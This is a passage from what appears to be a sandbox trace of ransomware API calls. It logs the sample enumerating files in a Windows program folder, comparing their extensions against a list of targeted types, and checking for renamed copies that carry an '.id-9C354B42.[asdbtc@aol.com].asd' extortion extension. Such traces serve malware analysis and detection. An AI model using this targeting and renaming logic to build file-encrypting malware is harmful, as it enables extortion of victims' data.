[0059.421] GetFileSizeEx (in: hFile=0x220, lpFileSize=0x317ff1c | out: lpFileSize=0x317ff1c*=19477) returned 1 [0059.421] CloseHandle (hObject=0x220) returned 1 [0059.421] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\babypink.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\babypink.png")) returned 0x20 [0059.422] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\babypink.png.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\babypink.png.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0059.422] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\babypink.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\babypink.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0059.422] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\babypink.png") returned 65 [0059.422] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\babypink.png") returned 65 [0059.422] lstrlenW (lpString=".doc") returned 4 [0059.422] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0059.422] lstrlenW (lpString=".docx") returned 5 [0059.422] lstrcmpiW (lpString1=".docx", lpString2="k.png") returned -1 [0059.422] lstrlenW (lpString=".pdf") returned 4 [0059.422] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0059.422] lstrlenW (lpString=".xls") returned 4 [0059.422] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0059.422] lstrlenW (lpString=".xlsx") returned 5 [0059.422] lstrcmpiW (lpString1=".xlsx", lpString2="k.png") returned -1 [0059.422] lstrlenW (lpString=".ppt") returned 4 [0059.422] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0059.422] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\babypink.png") returned 65 [0059.422] lstrlenW (lpString=".zip") returned 4 [0059.422] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0059.422] lstrlenW (lpString=".rar") returned 4 [0059.422] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0059.422] lstrlenW (lpString=".bz2") returned 4 [0059.422] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0059.422] lstrlenW (lpString=".7z") returned 3 [0059.423] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0059.423] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\babypink.png") returned 65 [0059.423] lstrlenW (lpString=".dbf") returned 4 [0059.423] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0059.423] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\babypink.png") returned 65 [0059.423] lstrlenW (lpString=".1cd") returned 4 [0059.423] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0059.423] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\babypink.png") returned 65 [0059.423] lstrlenW (lpString=".jpg") returned 4 [0059.423] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0059.423] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\babypink.png") returned 65 [0059.423] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\babypink.png") returned 65 [0059.423] lstrlenW (lpString=".doc") returned 4 [0059.423] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0059.423] lstrlenW (lpString=".docx") returned 5 [0059.423] lstrcmpiW (lpString1=".docx", lpString2="k.png") returned -1 [0059.423] lstrlenW (lpString=".pdf") returned 4 [0059.423] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0059.423] lstrlenW (lpString=".xls") returned 4 [0059.423] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0059.423] lstrlenW (lpString=".xlsx") returned 5 [0059.423] lstrcmpiW (lpString1=".xlsx", lpString2="k.png") returned -1 [0059.423] lstrlenW (lpString=".ppt") returned 4 [0059.423] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0059.423] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\babypink.png") returned 65 [0059.423] lstrlenW (lpString=".zip") returned 4 [0059.423] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0059.424] lstrlenW (lpString=".rar") returned 4 [0059.424] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0059.424] lstrlenW (lpString=".bz2") returned 4 [0059.424] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0059.424] lstrlenW (lpString=".7z") returned 3 [0059.424] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0059.424] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\babypink.png") returned 65 [0059.424] lstrlenW (lpString=".dbf") returned 4 [0059.424] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0059.424] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\babypink.png") returned 65 [0059.424] lstrlenW (lpString=".1cd") returned 4 [0059.424] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0059.424] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\babypink.png") returned 65 [0059.424] lstrlenW (lpString=".jpg") returned 4 [0059.424] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0059.424] lstrcmpiW (lpString1=".wmv", lpString2=".asd") returned 1 [0059.424] lstrlenW (lpString="bear_formatted_matte2.wmv") returned 25 [0059.424] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\bear_formatted_matte2.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\bear_formatted_matte2.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0059.425] GetFileSizeEx (in: hFile=0x220, lpFileSize=0x317ff1c | out: lpFileSize=0x317ff1c*=181298) returned 1 [0059.425] CloseHandle (hObject=0x220) returned 1 [0059.425] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\bear_formatted_matte2.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\bear_formatted_matte2.wmv")) returned 0x20 [0059.425] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\bear_formatted_matte2.wmv.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\bear_formatted_matte2.wmv.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0059.426] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\bear_formatted_matte2.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\bear_formatted_matte2.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0059.426] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\bear_formatted_matte2.wmv") returned 78 [0059.426] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\bear_formatted_matte2.wmv") returned 78 [0059.426] lstrlenW (lpString=".doc") returned 4 [0059.426] lstrcmpiW (lpString1=".doc", lpString2=".wmv") returned -1 [0059.426] lstrlenW (lpString=".docx") returned 5 [0059.426] lstrcmpiW (lpString1=".docx", lpString2="2.wmv") returned -1 [0059.426] lstrlenW (lpString=".pdf") returned 4 [0059.426] lstrcmpiW (lpString1=".pdf", lpString2=".wmv") returned -1 [0059.426] lstrlenW (lpString=".xls") returned 4 [0059.426] lstrcmpiW (lpString1=".xls", lpString2=".wmv") returned 1 [0059.426] lstrlenW (lpString=".xlsx") returned 5 [0059.426] lstrcmpiW (lpString1=".xlsx", lpString2="2.wmv") returned -1 [0059.426] lstrlenW (lpString=".ppt") returned 4 [0059.426] lstrcmpiW (lpString1=".ppt", lpString2=".wmv") returned -1 [0059.426] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\bear_formatted_matte2.wmv") returned 78 [0059.426] lstrlenW (lpString=".zip") returned 4 [0059.426] lstrcmpiW (lpString1=".zip", lpString2=".wmv") returned 1 [0059.426] lstrlenW (lpString=".rar") returned 4 [0059.426] lstrcmpiW (lpString1=".rar", lpString2=".wmv") returned -1 [0059.426] lstrlenW (lpString=".bz2") returned 4 [0059.426] lstrcmpiW (lpString1=".bz2", lpString2=".wmv") returned -1 [0059.426] lstrlenW (lpString=".7z") returned 3 [0059.426] lstrcmpiW (lpString1=".7z", lpString2="wmv") returned -1 [0059.426] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\bear_formatted_matte2.wmv") returned 78 [0059.427] lstrlenW (lpString=".dbf") returned 4 [0059.427] lstrcmpiW (lpString1=".dbf", lpString2=".wmv") returned -1 [0059.427] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\bear_formatted_matte2.wmv") returned 78 [0059.427] lstrlenW (lpString=".1cd") returned 4 [0059.427] lstrcmpiW (lpString1=".1cd", lpString2=".wmv") returned -1 [0059.427] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\bear_formatted_matte2.wmv") returned 78 [0059.427] lstrlenW (lpString=".jpg") returned 4 [0059.427] lstrcmpiW (lpString1=".jpg", lpString2=".wmv") returned -1 [0059.427] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\bear_formatted_matte2.wmv") returned 78 [0059.427] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\bear_formatted_matte2.wmv") returned 78 [0059.427] lstrlenW (lpString=".doc") returned 4 [0059.427] lstrcmpiW (lpString1=".doc", lpString2=".wmv") returned -1 [0059.427] lstrlenW (lpString=".docx") returned 5 [0059.427] lstrcmpiW (lpString1=".docx", lpString2="2.wmv") returned -1 [0059.427] lstrlenW (lpString=".pdf") returned 4 [0059.427] lstrcmpiW (lpString1=".pdf", lpString2=".wmv") returned -1 [0059.427] lstrlenW (lpString=".xls") returned 4 [0059.427] lstrcmpiW (lpString1=".xls", lpString2=".wmv") returned 1 [0059.427] lstrlenW (lpString=".xlsx") returned 5 [0059.427] lstrcmpiW (lpString1=".xlsx", lpString2="2.wmv") returned -1 [0059.427] lstrlenW (lpString=".ppt") returned 4 [0059.427] lstrcmpiW (lpString1=".ppt", lpString2=".wmv") returned -1 [0059.427] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\bear_formatted_matte2.wmv") returned 78 [0059.427] lstrlenW (lpString=".zip") returned 4 [0059.427] lstrcmpiW (lpString1=".zip", lpString2=".wmv") returned 1 [0059.427] lstrlenW (lpString=".rar") returned 4 [0059.427] lstrcmpiW (lpString1=".rar", lpString2=".wmv") returned -1 [0059.428] lstrlenW (lpString=".bz2") returned 4 [0059.428] lstrcmpiW (lpString1=".bz2", lpString2=".wmv") returned -1 [0059.428] lstrlenW (lpString=".7z") returned 3 [0059.428] lstrcmpiW (lpString1=".7z", lpString2="wmv") returned -1 [0059.428] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\bear_formatted_matte2.wmv") returned 78 [0059.428] lstrlenW (lpString=".dbf") returned 4 [0059.428] lstrcmpiW (lpString1=".dbf", lpString2=".wmv") returned -1 [0059.428] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\bear_formatted_matte2.wmv") returned 78 [0059.428] lstrlenW (lpString=".1cd") returned 4 [0059.428] lstrcmpiW (lpString1=".1cd", lpString2=".wmv") returned -1 [0059.428] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\bear_formatted_matte2.wmv") returned 78 [0059.428] lstrlenW (lpString=".jpg") returned 4 [0059.428] lstrcmpiW (lpString1=".jpg", lpString2=".wmv") returned -1 [0059.428] lstrcmpiW (lpString1=".wmv", lpString2=".asd") returned 1 [0059.428] lstrlenW (lpString="Bear_Formatted_MATTE2_PAL.wmv") returned 29 [0059.428] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\Bear_Formatted_MATTE2_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\bear_formatted_matte2_pal.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0059.429] GetFileSizeEx (in: hFile=0x220, lpFileSize=0x317ff1c | out: lpFileSize=0x317ff1c*=181322) returned 1 [0059.429] CloseHandle (hObject=0x220) returned 1 [0059.429] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\Bear_Formatted_MATTE2_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\bear_formatted_matte2_pal.wmv")) returned 0x20 [0059.429] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\Bear_Formatted_MATTE2_PAL.wmv.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\bear_formatted_matte2_pal.wmv.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0059.429] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\Bear_Formatted_MATTE2_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\bear_formatted_matte2_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0059.429] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\Bear_Formatted_MATTE2_PAL.wmv") returned 82 [0059.429] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\Bear_Formatted_MATTE2_PAL.wmv") returned 82 [0059.429] lstrlenW (lpString=".doc") returned 4 [0059.429] lstrcmpiW (lpString1=".doc", lpString2=".wmv") returned -1 [0059.429] lstrlenW (lpString=".docx") returned 5 [0059.429] lstrcmpiW (lpString1=".docx", lpString2="L.wmv") returned -1 [0059.429] lstrlenW (lpString=".pdf") returned 4 [0059.429] lstrcmpiW (lpString1=".pdf", lpString2=".wmv") returned -1 [0059.429] lstrlenW (lpString=".xls") returned 4 [0059.429] lstrcmpiW (lpString1=".xls", lpString2=".wmv") returned 1 [0059.429] lstrlenW (lpString=".xlsx") returned 5 [0059.429] lstrcmpiW (lpString1=".xlsx", lpString2="L.wmv") returned -1 [0059.430] lstrlenW (lpString=".ppt") returned 4 [0059.430] lstrcmpiW (lpString1=".ppt", lpString2=".wmv") returned -1 [0059.430] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\Bear_Formatted_MATTE2_PAL.wmv") returned 82 [0059.430] lstrlenW (lpString=".zip") returned 4 [0059.430] lstrcmpiW (lpString1=".zip", lpString2=".wmv") returned 1 [0059.430] lstrlenW (lpString=".rar") returned 4 [0059.430] lstrcmpiW (lpString1=".rar", lpString2=".wmv") returned -1 [0059.430] lstrlenW (lpString=".bz2") returned 4 [0059.430] lstrcmpiW (lpString1=".bz2", lpString2=".wmv") returned -1 [0059.430] lstrlenW (lpString=".7z") returned 3 [0059.430] lstrcmpiW (lpString1=".7z", lpString2="wmv") returned -1 [0059.430] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\Bear_Formatted_MATTE2_PAL.wmv") returned 82 [0059.430] lstrlenW (lpString=".dbf") returned 4 [0059.430] lstrcmpiW (lpString1=".dbf", lpString2=".wmv") returned -1 [0059.430] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\Bear_Formatted_MATTE2_PAL.wmv") returned 82 [0059.430] lstrlenW (lpString=".1cd") returned 4 [0059.430] lstrcmpiW (lpString1=".1cd", lpString2=".wmv") returned -1 [0059.430] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\Bear_Formatted_MATTE2_PAL.wmv") returned 82 [0059.430] lstrlenW (lpString=".jpg") returned 4 [0059.430] lstrcmpiW (lpString1=".jpg", lpString2=".wmv") returned -1 [0059.430] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\Bear_Formatted_MATTE2_PAL.wmv") returned 82 [0059.430] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\Bear_Formatted_MATTE2_PAL.wmv") returned 82 [0059.430] lstrlenW (lpString=".doc") returned 4 [0059.430] lstrcmpiW (lpString1=".doc", lpString2=".wmv") returned -1 [0059.430] lstrlenW (lpString=".docx") returned 5 [0059.430] lstrcmpiW (lpString1=".docx", lpString2="L.wmv") returned -1 [0059.430] lstrlenW (lpString=".pdf") returned 4 [0059.430] lstrcmpiW (lpString1=".pdf", lpString2=".wmv") returned -1 [0059.431] lstrlenW (lpString=".xls") returned 4 [0059.431] lstrcmpiW (lpString1=".xls", lpString2=".wmv") returned 1 [0059.431] lstrlenW (lpString=".xlsx") returned 5 [0059.431] lstrcmpiW (lpString1=".xlsx", lpString2="L.wmv") returned -1 [0059.431] lstrlenW (lpString=".ppt") returned 4 [0059.431] lstrcmpiW (lpString1=".ppt", lpString2=".wmv") returned -1 [0059.431] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\Bear_Formatted_MATTE2_PAL.wmv") returned 82 [0059.431] lstrlenW (lpString=".zip") returned 4 [0059.431] lstrcmpiW (lpString1=".zip", lpString2=".wmv") returned 1 [0059.431] lstrlenW (lpString=".rar") returned 4 [0059.431] lstrcmpiW (lpString1=".rar", lpString2=".wmv") returned -1 [0059.431] lstrlenW (lpString=".bz2") returned 4 [0059.431] lstrcmpiW (lpString1=".bz2", lpString2=".wmv") returned -1 [0059.431] lstrlenW (lpString=".7z") returned 3 [0059.431] lstrcmpiW (lpString1=".7z", lpString2="wmv") returned -1 [0059.431] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\Bear_Formatted_MATTE2_PAL.wmv") returned 82 [0059.431] lstrlenW (lpString=".dbf") returned 4 [0059.431] lstrcmpiW (lpString1=".dbf", lpString2=".wmv") returned -1 [0059.431] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\Bear_Formatted_MATTE2_PAL.wmv") returned 82 [0059.431] lstrlenW (lpString=".1cd") returned 4 [0059.431] lstrcmpiW (lpString1=".1cd", lpString2=".wmv") returned -1 [0059.431] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\Bear_Formatted_MATTE2_PAL.wmv") returned 82 [0059.431] lstrlenW (lpString=".jpg") returned 4 [0059.431] lstrcmpiW (lpString1=".jpg", lpString2=".wmv") returned -1 [0059.432] lstrcmpiW (lpString1=".wmv", lpString2=".asd") returned 1 [0059.432] lstrlenW (lpString="bear_formatted_rgb6.wmv") returned 23 [0059.432] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\bear_formatted_rgb6.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\bear_formatted_rgb6.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0059.432] GetFileSizeEx (in: hFile=0x220, lpFileSize=0x317ff1c | out: lpFileSize=0x317ff1c*=237298) returned 1 [0059.432] CloseHandle (hObject=0x220) returned 1 [0059.432] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\bear_formatted_rgb6.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\bear_formatted_rgb6.wmv")) returned 0x20 [0059.432] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\bear_formatted_rgb6.wmv.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\bear_formatted_rgb6.wmv.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0059.432] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\bear_formatted_rgb6.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\bear_formatted_rgb6.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0059.432] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\bear_formatted_rgb6.wmv") returned 76 [0059.432] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\bear_formatted_rgb6.wmv") returned 76 [0059.432] lstrlenW (lpString=".doc") returned 4 [0059.432] lstrcmpiW (lpString1=".doc", lpString2=".wmv") returned -1 [0059.433] lstrlenW (lpString=".docx") returned 5 [0059.433] lstrcmpiW (lpString1=".docx", lpString2="6.wmv") returned -1 [0059.433] lstrlenW (lpString=".pdf") returned 4 [0059.433] lstrcmpiW (lpString1=".pdf", lpString2=".wmv") returned -1 [0059.433] lstrlenW (lpString=".xls") returned 4 [0059.433] lstrcmpiW (lpString1=".xls", lpString2=".wmv") returned 1 [0059.433] lstrlenW (lpString=".xlsx") returned 5 [0059.433] lstrcmpiW (lpString1=".xlsx", lpString2="6.wmv") returned -1 [0059.433] lstrlenW (lpString=".ppt") returned 4 [0059.433] lstrcmpiW (lpString1=".ppt", lpString2=".wmv") returned -1 [0059.433] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\bear_formatted_rgb6.wmv") returned 76 [0059.433] lstrlenW (lpString=".zip") returned 4 [0059.433] lstrcmpiW (lpString1=".zip", lpString2=".wmv") returned 1 [0059.433] lstrlenW (lpString=".rar") returned 4 [0059.433] lstrcmpiW (lpString1=".rar", lpString2=".wmv") returned -1 [0059.433] lstrlenW (lpString=".bz2") returned 4 [0059.433] lstrcmpiW (lpString1=".bz2", lpString2=".wmv") returned -1 [0059.433] lstrlenW (lpString=".7z") returned 3 [0059.433] lstrcmpiW (lpString1=".7z", lpString2="wmv") returned -1 [0059.433] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\bear_formatted_rgb6.wmv") returned 76 [0059.433] lstrlenW (lpString=".dbf") returned 4 [0059.433] lstrcmpiW (lpString1=".dbf", lpString2=".wmv") returned -1 [0059.433] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\bear_formatted_rgb6.wmv") returned 76 [0059.433] lstrlenW (lpString=".1cd") returned 4 [0059.433] lstrcmpiW (lpString1=".1cd", lpString2=".wmv") returned -1 [0059.433] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\bear_formatted_rgb6.wmv") returned 76 [0059.433] lstrlenW (lpString=".jpg") returned 4 [0059.433] lstrcmpiW (lpString1=".jpg", lpString2=".wmv") returned -1 [0059.434] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\bear_formatted_rgb6.wmv") returned 76 [0059.434] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\bear_formatted_rgb6.wmv") returned 76 [0059.434] lstrlenW (lpString=".doc") returned 4 [0059.434] lstrcmpiW (lpString1=".doc", lpString2=".wmv") returned -1 [0059.434] lstrlenW (lpString=".docx") returned 5 [0059.434] lstrcmpiW (lpString1=".docx", lpString2="6.wmv") returned -1 [0059.434] lstrlenW (lpString=".pdf") returned 4 [0059.434] lstrcmpiW (lpString1=".pdf", lpString2=".wmv") returned -1 [0059.434] lstrlenW (lpString=".xls") returned 4 [0059.434] lstrcmpiW (lpString1=".xls", lpString2=".wmv") returned 1 [0059.434] lstrlenW (lpString=".xlsx") returned 5 [0059.434] lstrcmpiW (lpString1=".xlsx", lpString2="6.wmv") returned -1 [0059.434] lstrlenW (lpString=".ppt") returned 4 [0059.434] lstrcmpiW (lpString1=".ppt", lpString2=".wmv") returned -1 [0059.434] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\bear_formatted_rgb6.wmv") returned 76 [0059.434] lstrlenW (lpString=".zip") returned 4 [0059.434] lstrcmpiW (lpString1=".zip", lpString2=".wmv") returned 1 [0059.434] lstrlenW (lpString=".rar") returned 4 [0059.434] lstrcmpiW (lpString1=".rar", lpString2=".wmv") returned -1 [0059.434] lstrlenW (lpString=".bz2") returned 4 [0059.434] lstrcmpiW (lpString1=".bz2", lpString2=".wmv") returned -1 [0059.434] lstrlenW (lpString=".7z") returned 3 [0059.434] lstrcmpiW (lpString1=".7z", lpString2="wmv") returned -1 [0059.434] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\bear_formatted_rgb6.wmv") returned 76 [0059.434] lstrlenW (lpString=".dbf") returned 4 [0059.434] lstrcmpiW (lpString1=".dbf", lpString2=".wmv") returned -1 [0059.434] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\bear_formatted_rgb6.wmv") returned 76 [0059.434] lstrlenW (lpString=".1cd") returned 4 [0059.435] lstrcmpiW (lpString1=".1cd", lpString2=".wmv") returned -1 [0059.435] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\bear_formatted_rgb6.wmv") returned 76 [0059.435] lstrlenW (lpString=".jpg") returned 4 [0059.435] lstrcmpiW (lpString1=".jpg", lpString2=".wmv") returned -1 [0059.435] lstrcmpiW (lpString1=".wmv", lpString2=".asd") returned 1 [0059.435] lstrlenW (lpString="Bear_Formatted_RGB6_PAL.wmv") returned 27 [0059.435] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\Bear_Formatted_RGB6_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\bear_formatted_rgb6_pal.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0059.435] GetFileSizeEx (in: hFile=0x220, lpFileSize=0x317ff1c | out: lpFileSize=0x317ff1c*=269322) returned 1 [0059.435] CloseHandle (hObject=0x220) returned 1 [0059.435] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\Bear_Formatted_RGB6_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\bear_formatted_rgb6_pal.wmv")) returned 0x20 [0059.435] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\Bear_Formatted_RGB6_PAL.wmv.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\bear_formatted_rgb6_pal.wmv.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0059.436] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\Bear_Formatted_RGB6_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\bear_formatted_rgb6_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0059.436] lstrlenW (lpString="C:\\Program Files\\DVD 